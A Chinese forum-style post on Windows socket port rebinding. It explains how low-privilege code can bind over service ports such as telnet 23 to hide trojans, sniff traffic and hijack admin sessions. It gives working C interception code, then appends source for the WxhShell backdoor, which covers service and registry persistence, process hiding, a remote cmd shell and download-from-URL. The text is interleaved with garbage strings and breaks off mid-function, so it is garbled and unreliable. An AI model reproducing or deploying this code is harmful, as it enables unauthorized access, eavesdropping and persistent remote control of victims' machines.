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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oa"_5kn, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .Y*jL &! 2E$K='H:, saddr.sin_family = AF_INET; v1aE[Q x1'4njTV$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); C9VtRq dm~Uj bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p?H2W- xWuvT, ^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p\G1O*Z WMXxP gik 这意味着什么?意味着可以进行如下的攻击: zPyN2|iFah }9*N EU)o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {=Z _L?j m2j]wUh" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &0k`=?v$ !;U;5 e=0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 87ptab@ )TtYm3, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 FE4P
EBXvu g}gOAN3. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ? \p,s-CR: `Re{j{~s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *Me&>"N" HU47S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (p!w`MSv zk^uS # #include +zINnX #include ^$x1~}D #include M'sq{K9 #include "wj~KbT}& DWORD WINAPI ClientThread(LPVOID lpParam); H9Dw#.em int main() ~gA^tc3G { W6!o=() WORD wVersionRequested; >E\U$}WCG DWORD ret; "59"HVV WSADATA wsaData; Fu\!'\6 BOOL val; OeYZLC( SOCKADDR_IN saddr; #8CeTR23cw SOCKADDR_IN scaddr; d]I3zSIC int err; ' &<saqA SOCKET s; _(J4 SOCKET sc; n?S~(4% int caddsize; +8Q5[lh2]j HANDLE mt; "Gc\"'^r DWORD tid; .:9XpKbt wVersionRequested = MAKEWORD( 2, 2 );
*Q!I^]CR err = WSAStartup( wVersionRequested, &wsaData ); VxqoE]Dh if ( err != 0 ) { +&*Ybbhb printf("error!WSAStartup failed!\n"); Sh;Z\nj return -1; myqQqVW } `+]e}*7$f saddr.sin_family = AF_INET; XgPZcOzYB
PE&$2( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d8N4@3 CkL N@3&e;y saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L
4Sa,ZL saddr.sin_port = htons(23); @E%fAC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c1}i|7/XSi { ~aL&,0 printf("error!socket failed!\n"); \o<&s{6L return -1; ?O.'_YS } 8umW> val = TRUE; (RafidiH //SO_REUSEADDR选项就是可以实现端口重绑定的 30<3DA_P if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q4B(NYEu( { 5]F4.sa printf("error!setsockopt failed!\n"); HzZ.q2Zz% return -1; kB]?95>Wx } >goG\y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9ohO-t$XkY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vhz Q.> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %h4|$ CQh6;[\: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |TRl>1rv { 5$%CRm ret=GetLastError(); ~zcB@; : printf("error!bind failed!\n");
CJf4b:SY@ return -1; a'|/=$
} n|Gw?@CU7 listen(s,2); (Nn)_caVb while(1) 6>F1!Q { miEf<<L#z caddsize = sizeof(scaddr); IiZXIG4H //接受连接请求 *zl-R*bM$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >fx/TSql:J if(sc!=INVALID_SOCKET) G`R_kg9$ { l*]nvd_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U!i @XA%P if(mt==NULL) $&KiN82, { k56*eEc printf("Thread Creat Failed!\n"); i/aj;t break; o!sHK9hvJ) } rPkPQn: } ^.u
J]k0 CloseHandle(mt); WF` } a{+;&j[! closesocket(s); NUM+tg>KM WSACleanup(); my*E7[ return 0; ,%$Cfu } fk'DJf[M DWORD WINAPI ClientThread(LPVOID lpParam) 9YVr9BM'K { 6UAw9
'X8 SOCKET ss = (SOCKET)lpParam; K(heeZUt SOCKET sc; [5wU0~>' unsigned char buf[4096]; o>MB8[r SOCKADDR_IN saddr; '$y.`/$ long num; m?]=
=9 DWORD val; '=1@,Skj- DWORD ret; uYMH5Om+i //如果是隐藏端口应用的话,可以在此处加一些判断 %]h5\%@w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Cz-eiPlq saddr.sin_family = AF_INET; btJ:Wt} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #;)Oi9{9; saddr.sin_port = htons(23); %(MaH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3~;LNi { mFw`LvH?* printf("error!socket failed!\n"); *8M0h9S$ return -1; ARGtWW~: } PxNp'PZr9 val = 100; s3>,%8O6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7#SXqyP[ { >\y|}|? ret = GetLastError(); pwtB{6)VH{ return -1; zRd^Uks } _[su?C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'G;y!<a { hCV e05
ret = GetLastError(); y3{'s>O6 return -1; 4{=zO(> } h+<vWo}H if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `U?"
{;j
{ { AE?MEag printf("error!socket connect failed!\n"); >?aPXC closesocket(sc);
+:k Iq closesocket(ss); OC34@YUj[ return -1; z SDRZ! } ]rGZ while(1) E}LuWFZ& { XVr>\T4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _uwM%M; //如果是嗅探内容的话,可以再此处进行内容分析和记录 h_#x@p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sQUJ]h num = recv(ss,buf,4096,0); B3|h$aKC if(num>0) +a1Or send(sc,buf,num,0); Bn:"qN~ else if(num==0) <LL+\kfTZO break; (#I$4Px{ num = recv(sc,buf,4096,0); B=14
hY@` if(num>0) {9?++G"\ send(ss,buf,num,0); .TZ0FxW else if(num==0) `W>cA64 o break; aT|SKb` } NZT2ni4 closesocket(ss); &!i'Q;q closesocket(sc); sNB*S{ return 0 ; )gF>nNE } DBTeV-G9~R p G|-<6WY Ao?y2 [sE ========================================================== 5rp,xk! S
$j"'K 下边附上一个代码,,WXhSHELL ?e=3G4N gn82_ ========================================================== +vf~s^ N"/J1
#include "stdafx.h" t =LIkwD A-"2 sp*t #include <stdio.h> PmjN!/ #include <string.h> 2/o_,k #include <windows.h> e^!>W %.7Z #include <winsock2.h> m8}c(GwcP #include <winsvc.h> =Jyi9VN=& #include <urlmon.h> !2=m
|, w-{a>ZU0 #pragma comment (lib, "Ws2_32.lib") ?uAq goCl #pragma comment (lib, "urlmon.lib") ]mzghH:E pu-X -j #define MAX_USER 100 // 最大客户端连接数
]v2%h X #define BUF_SOCK 200 // sock buffer mETGYkPUa #define KEY_BUFF 255 // 输入 buffer " fXs! .gQYN2#zb #define REBOOT 0 // 重启 zrDcO~w #define SHUTDOWN 1 // 关机 ^7Z#g0{^w kR0/jEz
C #define DEF_PORT 5000 // 监听端口 6uS;H]nd< "J(T?|t #define REG_LEN 16 // 注册表键长度 tl6x@%\ #define SVC_LEN 80 // NT服务名长度 `8 Ann~Z|k <nvzNXql // 从dll定义API
Cl>|*h+m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F+<e9[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fphi['X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @|2sF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^\ku}X_[? o?
LJ,Z // wxhshell配置信息 <D`VFSEJ struct WSCFG { Zjkg" int ws_port; // 监听端口 2F&VG|" char ws_passstr[REG_LEN]; // 口令 @1vpkB~ w int ws_autoins; // 安装标记, 1=yes 0=no BMdcW
MYU\ char ws_regname[REG_LEN]; // 注册表键名 j&-<e7O= char ws_svcname[REG_LEN]; // 服务名 pgw_F char ws_svcdisp[SVC_LEN]; // 服务显示名 yedEI[_4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 GIM'H;XG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s&d!+-\6_ int ws_downexe; // 下载执行标记, 1=yes 0=no P>nz8NRq char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]?*'[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jdf3XTw oiRrpS\T. }; jPIOBEIG 5~FXy{ZIH // default Wxhshell configuration <4:%M struct WSCFG wscfg={DEF_PORT, 3f-J%!aH "xuhuanlingzhe", z1m-t#v: 1, kInU,/R* "Wxhshell",
TcpaZ
'x "Wxhshell", miUjpXt "WxhShell Service", @bIZ0tr4 "Wrsky Windows CmdShell Service", HSj=g}r "Please Input Your Password: ", @[v4[yq- 1, ne|N!!Dmk " http://www.wrsky.com/wxhshell.exe", KY+BXGW* "Wxhshell.exe" r7+Ytr }; AhU `^df la // 消息定义模块 )mu[ye"p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +W+o~BE char *msg_ws_prompt="\n\r? for help\n\r#>"; Rm[{^V.Z$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; F;8Uvj char *msg_ws_ext="\n\rExit."; 'M35L30 char *msg_ws_end="\n\rQuit."; :yFmCLZaQ char *msg_ws_boot="\n\rReboot..."; n{"e8vQx char *msg_ws_poff="\n\rShutdown..."; (mgv:<c;BA char *msg_ws_down="\n\rSave to "; +[":W?j a9!.e
rM char *msg_ws_err="\n\rErr!"; TFO4jjiC" char *msg_ws_ok="\n\rOK!"; y q6:7< 1T
8|>2m 3 char ExeFile[MAX_PATH]; J\E?rT int nUser = 0; /Jc54d HANDLE handles[MAX_USER]; E*s8 nQ" int OsIsNt; r*g<A2g% M)G|K a SERVICE_STATUS serviceStatus; yk/BQ|G SERVICE_STATUS_HANDLE hServiceStatusHandle; 4Un%p7Y~ {-l:F2i // 函数声明 qS[KB\RN1 int Install(void); Rg7~?b- int Uninstall(void); zt2#6v int DownloadFile(char *sURL, SOCKET wsh); +jyWqld.K1 int Boot(int flag); *n_7~ZX void HideProc(void); m`xzvg int GetOsVer(void); Cznp(z int Wxhshell(SOCKET wsl); XXy&1C void TalkWithClient(void *cs); #;hYJ Y int CmdShell(SOCKET sock); 2}6StmE } int StartFromService(void); O~c\+~5M* int StartWxhshell(LPSTR lpCmdLine); Qq<+QL | /JQY_>@W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qsHjqK@( VOID WINAPI NTServiceHandler( DWORD fdwControl ); v4VP7h6uD) fBnlB_}e // 数据结构和表定义 c=<5DC&p SERVICE_TABLE_ENTRY DispatchTable[] = =6xxZy[ { .Lp\Jyegs {wscfg.ws_svcname, NTServiceMain}, =-;J2Qlg6 {NULL, NULL} %<h+_(\h }; C n.x:I@r gUrXaD# // 自我安装 ?y2v?h" int Install(void) }o7"2hht { Qn`Fq,uvL char svExeFile[MAX_PATH]; ?U(`x6\: HKEY key; @WICAC= strcpy(svExeFile,ExeFile); E&>= ,_I#+XiXY // 如果是win9x系统,修改注册表设为自启动 fu{.Ir if(!OsIsNt) { UJk/Lxv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C]NL9Gq` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |`Iispn RegCloseKey(key); ,L$,d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'L8B"5|> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vu`,:/|h RegCloseKey(key); O9R[F return 0; ^'Qe.DW[ } XG01g3 } !EB[Lutm } d< b ,]. else { L(DDyA{bA abkt&981K+ // 如果是NT以上系统,安装为系统服务 x#}{z1op9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -p[!CI if (schSCManager!=0) `R,g_{Mj { ?k+>~k{}a SC_HANDLE schService = CreateService >6A8+= ( v6KRE3:V schSCManager, LW*v/`@ wscfg.ws_svcname, XY!0yAK(! wscfg.ws_svcdisp, 2dnyIgi SERVICE_ALL_ACCESS, y-lBaTE9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !M;><b}=5 SERVICE_AUTO_START, 69$gPY'3 SERVICE_ERROR_NORMAL, UQ}#=[)2e svExeFile, UB,:won NULL, wAF<_NG# NULL, s_%KWkS NULL, 90UZ\{"> NULL, ;%!]C0? NULL +\U#:gmw ); zy'cf5k2 if (schService!=0) CJe~>4BT { 0YO/G1O& CloseServiceHandle(schService); PdSYFJM CloseServiceHandle(schSCManager); =H;F{J" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _:~I(c6 strcat(svExeFile,wscfg.ws_svcname); }fh<L CwTi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {8T/;K@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xP-\)d-.aN RegCloseKey(key); 4~~G
i`XE return 0; ,racmxnv } S,vh } 7~!F3WT{ CloseServiceHandle(schSCManager); ?g9oiOhnG } ^=[b]*V } 8 t`lRWJ "ifv1KZ# return 1; 8:fq!m } I6Ga'5bV |vtj0,[ // 自我卸载 +d=w%r) int Uninstall(void) %/w%A:y#& { *;[g Ga~ HKEY key; &vN^*:Q Iad&Z8E if(!OsIsNt) {
6)yi^v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w7Ij=!) RegDeleteValue(key,wscfg.ws_regname); ?,w9e| RegCloseKey(key); I R~szUY6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uU/'oZ? RegDeleteValue(key,wscfg.ws_regname); "Z)zKg RegCloseKey(key); vP'#x return 0; -+y3~^EYm, } Xxr"Gc[ } RC!9@H5S# } 3jjV
bm else { ZoR6f\2M zg$NrI& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -{ES 36 if (schSCManager!=0) T
3<2ds { &] O^d4/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6#kmV if (schService!=0) 1*?L>@Wdy { q9(Z9$a(\ if(DeleteService(schService)!=0) { ht2J, 1t CloseServiceHandle(schService); xM?tdQ~VHY CloseServiceHandle(schSCManager); xwojjiV return 0; C(n_*8{ } v.F|8 cG CloseServiceHandle(schService); `5SQ4 } L[tq@[(IJ CloseServiceHandle(schSCManager); #N'bhs } O?0`QMY } \m#{{SGm Q2"K!u] return 1; eC`G0.op } Z@0IvI vF9fXY= // 从指定url下载文件 lJt?0;gn int DownloadFile(char *sURL, SOCKET wsh) 03gYl0B { Jk57| )/ HRESULT hr; V W( +sSQ char seps[]= "/"; C);I[H4Yfw char *token; G%>M@nYUE char *file; e17]{6y char myURL[MAX_PATH]; _Uhl4Mh char myFILE[MAX_PATH]; as"@E>a ;N!opg))d< strcpy(myURL,sURL); 2FQTu*p&B token=strtok(myURL,seps); 4P?@NJp while(token!=NULL) M/kBAxNIC| { D{6<,#P{w file=token; V`}u:t7r token=strtok(NULL,seps); bycnh } \"b'Z2g JvYs6u GetCurrentDirectory(MAX_PATH,myFILE); vw
:&c.zd strcat(myFILE, "\\"); w,LB strcat(myFILE, file); WQsu}_g5y send(wsh,myFILE,strlen(myFILE),0); *RFBLCt send(wsh,"...",3,0); j-wKm_M#jX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cC9haxW if(hr==S_OK) @4$la'XSx return 0; Ehq
[4} else 7#C3E$gn? return 1; _7
^:1i~:. o_&Qb^W } V6_~"pRR= f |NXibmP // 系统电源模块 e8{!Kjiz int Boot(int flag) }j{Z
&(K { ~'N+O K HANDLE hToken; J:G{ TOKEN_PRIVILEGES tkp; BOv ^L?)*Z `o21f{1]X& if(OsIsNt) { dg&GMo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bd[iD?epD] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %`lLX/4~ tkp.PrivilegeCount = 1; x M{SFF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o90[, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DuIgFp if(flag==REBOOT) { 9r
](/"=f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4)Ew
rU return 0; L$^)QxH7 } x^McUfdr| else { g|M>C:ZT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bnw^W_ return 0; h;A~:}c, } `bWc<4T } bjq.nn<= else { I(<Trn if(flag==REBOOT) { 2Hk21y\
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B5[As8Sa return 0; czK}F/Sg ` } @]L$eOV_ else { \mqrDaB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K6 ,d{n return 0; 79B+8= K } O~Svk'.) } a!.Y@o5Ku cL4Xh|NBp return 1; XII',& } j{@li1W@ {x~r$")c? // win9x进程隐藏模块 uCgJF@ void HideProc(void) <&HHo>rl { =FQH5iSd TRr%]qd{Hr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #-l+cu{ if ( hKernel != NULL ) tUGF8?&
G { fsWPU]\) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TXqtE("BDl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rpEN\S%7P FreeLibrary(hKernel); #<es>~0! } T%E/k#
)q fFXnD return; <slrzc_>& } M]xfH * WsT // 获取操作系统版本 VdGpreRPC int GetOsVer(void) +5GPU 9k { k|$?b7)"@ OSVERSIONINFO winfo; H>%L@Btw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]$U A5/a GetVersionEx(&winfo); AmrVxn4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,M$h3B\;r return 1; #P
{|7}jk
else T>,[V: return 0; TV/ EC#48 } SQ<{X/5 /)sP<WPQ6 // 客户端句柄模块 z Ece>=C int Wxhshell(SOCKET wsl) u[nLrEnD { w17CZa
6 SOCKET wsh; A.(e=;0bu struct sockaddr_in client; DX ZZZ[# DWORD myID; 8EU/}Ym 1!
5VWF0 while(nUser<MAX_USER) %zO>]f& { BE!l{ int nSize=sizeof(client); Y/
%XkDC~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )!;20Po if(wsh==INVALID_SOCKET) return 1; -op)X> gw$?&[wY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tRNMiU if(handles[nUser]==0) )"_&CYnd closesocket(wsh); a3,A_M}M' else fh`}~ aQ nUser++; 4~2 9, } G[n;%c~`+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &AVX03P FytGg[#] return 0; iu2O/l#r } l
nJ cv. j // 关闭 socket ,[3}t%Da void CloseIt(SOCKET wsh) ):fu]s" { (-VH=,Md closesocket(wsh); -fN5-AC nUser--; 8t|?b ExitThread(0); P G
zwS } #}Bv/`t aO2zD<d // 客户端请求句柄 [7 t void TalkWithClient(void *cs) s+ ^1\ { .N7&Jy
\\{78WDA SOCKET wsh=(SOCKET)cs; + -rSO"nc char pwd[SVC_LEN]; O{Q+<fBC9 char cmd[KEY_BUFF]; AdbTI#eY char chr[1]; ;u<F,o( int i,j; UG]x CkDS C#P>3" while (nUser < MAX_USER) { }%<cFi & ry+|gCZ
if(wscfg.ws_passstr) { #A:^XAU1Z@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "2 D{X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q(BRJ( //ZeroMemory(pwd,KEY_BUFF); /=QsZ,~xo i=0; Z1p%6f` while(i<SVC_LEN) { Q+'fTmT[, G]dHYxG // 设置超时 21] K7 fd_set FdRead; C;ME"4,( struct timeval TimeOut; h]4qJ FD_ZERO(&FdRead); aHPx'R FD_SET(wsh,&FdRead); {;o54zuKf TimeOut.tv_sec=8; }a%Wu 7D TimeOut.tv_usec=0; )iZhE"?z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Psm9hP :m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .5tXwxad"
U^-RyE!} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V'9OGn2v pwd =chr[0]; 9h<iw\$' if(chr[0]==0xd || chr[0]==0xa) { @JOsG-VW~ pwd=0; ANR611-a break; \2Kl]G(w%y } TLg 9`UA i++; k1LbWR1%wB } >f;oY9 {m $GVf;M2* // 如果是非法用户,关闭 socket z[JM ]Wy if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YL[y3&K } \_+Af` .SBN^fq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p4K
8L'nZ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _HAr0R8BY SQk5SP while(1) { ~\zIb/ # 7/\SN04l ZeroMemory(cmd,KEY_BUFF); t2qWB[r + Cq&~<B // 自动支持客户端 telnet标准 !V/p.O j=0; d"+ _`d=` while(j<KEY_BUFF) { ]`}EOS-Q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^.Q/iXgh cmd[j]=chr[0]; +:z%#D if(chr[0]==0xa || chr[0]==0xd) { pf0uwXo cmd[j]=0; =[Tf9uQY break; eh3CVgH91; } w_q=mKu j++; KpO%)M!/Z# } r\|"j8 BFn}~\wzK // 下载文件 %'dsb7n if(strstr(cmd,"http://")) { AOCiIPw
send(wsh,msg_ws_down,strlen(msg_ws_down),0); td2bL4 if(DownloadFile(cmd,wsh)) 2K2jko9'a send(wsh,msg_ws_err,strlen(msg_ws_err),0); P"c7h7 else *Rj*%S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Js!Zk\O } +]{PEnJ else { r$Y% 15JV $EuI2.o switch(cmd[0]) { wW^3/
[0n&?<< // 帮助 |7G=f9V case '?': { 7ZgFCK,8m, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9{{CNy
p break; 4_?*@L1 } Jm
G)=$, // 安装 ZlYb8+rW case 'i': { C`C$i>X7^ if(Install()) 1He'\/# send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3?DM
AV else E+E.z?>S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XAc#ywophi break; \o,`@2H+' } |;P9S // 卸载 (g]J hG case 'r': { 1:lhZFZ if(Uninstall()) 4 5\%2un send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 {tW$q else {\f`s^;8{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F>A&L8
break; fdTyY ; } |7l* // 显示 wxhshell 所在路径 H?axlRmw3 case 'p': { { sL(PS.z char svExeFile[MAX_PATH]; %8yX6`lH strcpy(svExeFile,"\n\r"); ^++ec> strcat(svExeFile,ExeFile); *.9.BD9 send(wsh,svExeFile,strlen(svExeFile),0); E`SFr break; (""1[XURQK } E6d0YgfD // 重启 r z%=qY case 'b': { {!hA^[}| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /Hl]$sJY if(Boot(REBOOT)) nAJ<@a send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yxt`Uvc(^h else { (s`yMUC+ closesocket(wsh); ?5!>k^q ExitThread(0); !fcr3x|Y~M } ~h{v^} break; Dh|8$(Jt } agFWye // 关机 w|>O!]K] case 'd': { fK|F`F2V send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s:y=X$&M if(Boot(SHUTDOWN)) r}y]B\/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); {uRnZ/m else { nx >PZb closesocket(wsh); "[(I* ExitThread(0); /CAi%UH,F } FU|c[u|z break; wU#79:h } DM%4V|F" // 获取shell Z`5v6"Na case 's': { ||&EmH CmdShell(wsh); 0'm4
)\ closesocket(wsh); }Zwse%; ExitThread(0); NGlX%j4j break; 8qfg=mu+% } YN
~7 nOw // 退出 PYl(~Vac case 'x': { !tT$}?Ano send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 99}n%(V CloseIt(wsh); A`4j=OF\ break; XU Hu=2F } ~B%=g)w // 离开 ^<R*7mB* case 'q': { YB h: send(wsh,msg_ws_end,strlen(msg_ws_end),0); I#D{6%~ closesocket(wsh); gd6We)& WSACleanup(); z6vRTY exit(1); t,;1?W# break; z./M^7v? } h5G>FPM-= } g_}r)CgG| } cjf}yn sAIL+O // 提示信息 3VbQDPG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hSc$Sa8 } $Xw .iN]g } 1%|+yu1 :<w3.(Z return; UK2Y<\vD } h3D8eR. 9}Tf9>qP>M // shell模块句柄 lztPexyXZ int CmdShell(SOCKET sock) 3ryIXC\v { :cop0;X:Wm STARTUPINFO si; F8?&Ql/hdz ZeroMemory(&si,sizeof(si)); TSmuNCR si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ho2o/>Ef3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HH3WZ^0> PROCESS_INFORMATION ProcessInfo; !'Xk=+ char cmdline[]="cmd"; o|Obl@CSBD CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B3u5EgZr return 0; ;"\e
aKl } _/ZIDIn Nhn5 iN1* // 自身启动模式 H1f){L97wR int StartFromService(void) =Z iyT$p { 3@?#4]D{' typedef struct Y4}!9x { Eu\&}n`i DWORD ExitStatus; 9j:t}HV DWORD PebBaseAddress; f.rz2)o DWORD AffinityMask; &}VGC=F;d DWORD BasePriority; 7am ._K ULONG UniqueProcessId; 4s~YqP{K ULONG InheritedFromUniqueProcessId; s2iR }< } PROCESS_BASIC_INFORMATION; RyC]4QyC (1%u`#5n-N PROCNTQSIP NtQueryInformationProcess; s<|.vVi" e//28=OH static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]x?9lQ1& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q*TH),)J R{5Qb?&wOp HANDLE hProcess; fzRzkn:= PROCESS_BASIC_INFORMATION pbi; Z&@X4X"q /K:M
,q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .t4IR
